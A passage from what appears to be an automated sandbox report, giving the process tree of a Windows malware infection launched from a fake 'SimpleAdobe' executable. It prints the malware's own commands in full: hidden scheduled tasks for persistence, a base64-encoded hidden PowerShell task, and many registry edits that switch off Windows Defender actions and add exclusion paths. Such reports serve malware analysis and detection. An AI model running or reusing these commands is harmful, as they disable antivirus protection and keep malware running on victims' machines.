                            • C:\Users\Admin\Documents\SimpleAdobe\vVKDtsiyPLj47_rdMl13fIAU.exe
                              C:\Users\Admin\Documents\SimpleAdobe\vVKDtsiyPLj47_rdMl13fIAU.exe
                              3⤵
                              • Executes dropped EXE
                              PID:3460
                              • C:\Users\Admin\Documents\SimpleAdobe\vVKDtsiyPLj47_rdMl13fIAU.exe
                                C:\Users\Admin\Documents\SimpleAdobe\vVKDtsiyPLj47_rdMl13fIAU.exe
                                4⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Checks processor information in registry
                                • Enumerates system info in registry
                                PID:420
                                • C:\Users\Admin\AppData\Local\Temp\_MEI34602\exe\netconn_properties.exe
                                  C:\Users\Admin\AppData\Local\Temp\_MEI34602\exe/netconn_properties.exe
                                  5⤵
                                  • Executes dropped EXE
                                  PID:828
                                • C:\Users\Admin\AppData\Local\Temp\_MEI34602\exe\registers.exe
                                  C:\Users\Admin\AppData\Local\Temp\_MEI34602\exe/registers.exe
                                  5⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  PID:2176
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
                            2⤵
                              PID:4156
                            • C:\Windows\System32\schtasks.exe
                              C:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"
                              2⤵
                                PID:2952
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
                                2⤵
                                  PID:2120
                                • C:\Windows\System32\notepad.exe
                                  C:\Windows\System32\notepad.exe
                                  2⤵
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of SendNotifyMessage
                                  PID:2684
                              • \??\c:\windows\system32\svchost.exe
                                c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                1⤵
                                  PID:4776
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                  1⤵
                                    PID:4012
                                  • \??\c:\windows\system32\svchost.exe
                                    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                    1⤵
                                      PID:4716
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                      1⤵
                                        PID:3420
                                      • C:\Windows\system32\DllHost.exe
                                        C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}
                                        1⤵
                                          PID:2560
                                        • C:\Windows\windefender.exe
                                          C:\Windows\windefender.exe
                                          1⤵
                                          • Executes dropped EXE
                                          • Modifies data under HKEY_USERS
                                          PID:952
                                        • C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\lllSdWN.exe
                                          C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\lllSdWN.exe ZO /TSsite_idIKi 525403 /S
                                          1⤵
                                          • Executes dropped EXE
                                          • Drops desktop.ini file(s)
                                          • Drops file in System32 directory
                                          • Modifies data under HKEY_USERS
                                          PID:4564
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                            2⤵
                                            • Drops file in System32 directory
                                            • Modifies data under HKEY_USERS
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:3604
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                              3⤵
                                                PID:1348
                                                • C:\Windows\SysWOW64\reg.exe
                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                  4⤵
                                                    PID:1224
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:2968
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:3516
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:4852
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:5016
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:3956
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:2864
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:4288
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:3964
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:204
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:4156
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:1044
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:4768
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:2072
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                            3⤵
                                                                              PID:1096
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                              3⤵
                                                                                PID:3984
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                3⤵
                                                                                  PID:2540
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                  3⤵
                                                                                    PID:4752
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                    3⤵
                                                                                      PID:1796
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                      3⤵
                                                                                        PID:604
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                        3⤵
                                                                                          PID:4544
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                          3⤵
                                                                                            PID:1348
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                            3⤵
                                                                                              PID:2968
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                              3⤵
                                                                                                PID:3516
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                3⤵
                                                                                                  PID:4852
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                  3⤵
                                                                                                    PID:5016
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                    3⤵
                                                                                                      PID:3956
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                      3⤵
                                                                                                        PID:2864
                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OJLDvKxDU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OJLDvKxDU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jDcnSjPvYahU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jDcnSjPvYahU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qpZxqHvFKXpRC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qpZxqHvFKXpRC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vGrfpbVBjyUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vGrfpbVBjyUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\mMAjWdbxOIjSziVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\mMAjWdbxOIjSziVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\heXdjphsLYtTYYrU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\heXdjphsLYtTYYrU\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                      2⤵
                                                                                                      • Drops file in System32 directory
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1292
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:32
                                                                                                        3⤵
                                                                                                          PID:4472
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:32
                                                                                                            4⤵
                                                                                                              PID:1348
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:1804
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:32
                                                                                                              3⤵
                                                                                                                PID:4164
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:2604
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:4296
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:64
                                                                                                                    3⤵
                                                                                                                      PID:2640
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                      3⤵
                                                                                                                        PID:1924
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                        3⤵
                                                                                                                          PID:4720
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:32
                                                                                                                          3⤵
                                                                                                                            PID:3192
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:64
                                                                                                                            3⤵
                                                                                                                              PID:2232
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\mMAjWdbxOIjSziVB /t REG_DWORD /d 0 /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:760
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\mMAjWdbxOIjSziVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                3⤵
                                                                                                                                  PID:4412
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                  3⤵
                                                                                                                                    PID:3652
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                    3⤵
                                                                                                                                      PID:2436
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg /t REG_DWORD /d 0 /reg:32
                                                                                                                                      3⤵
                                                                                                                                        PID:4064
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg /t REG_DWORD /d 0 /reg:64
                                                                                                                                        3⤵
                                                                                                                                          PID:2072
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\heXdjphsLYtTYYrU /t REG_DWORD /d 0 /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:3416
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\heXdjphsLYtTYYrU /t REG_DWORD /d 0 /reg:64
                                                                                                                                            3⤵
                                                                                                                                              PID:4828
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            schtasks /CREATE /TN "gJMHLuEgo" /SC once /ST 03:13:58 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                            2⤵
                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                            PID:3492
                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                            schtasks /run /I /tn "gJMHLuEgo"
                                                                                                                                            2⤵
                                                                                                                                              PID:1804
                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                              schtasks /DELETE /F /TN "gJMHLuEgo"
                                                                                                                                              2⤵
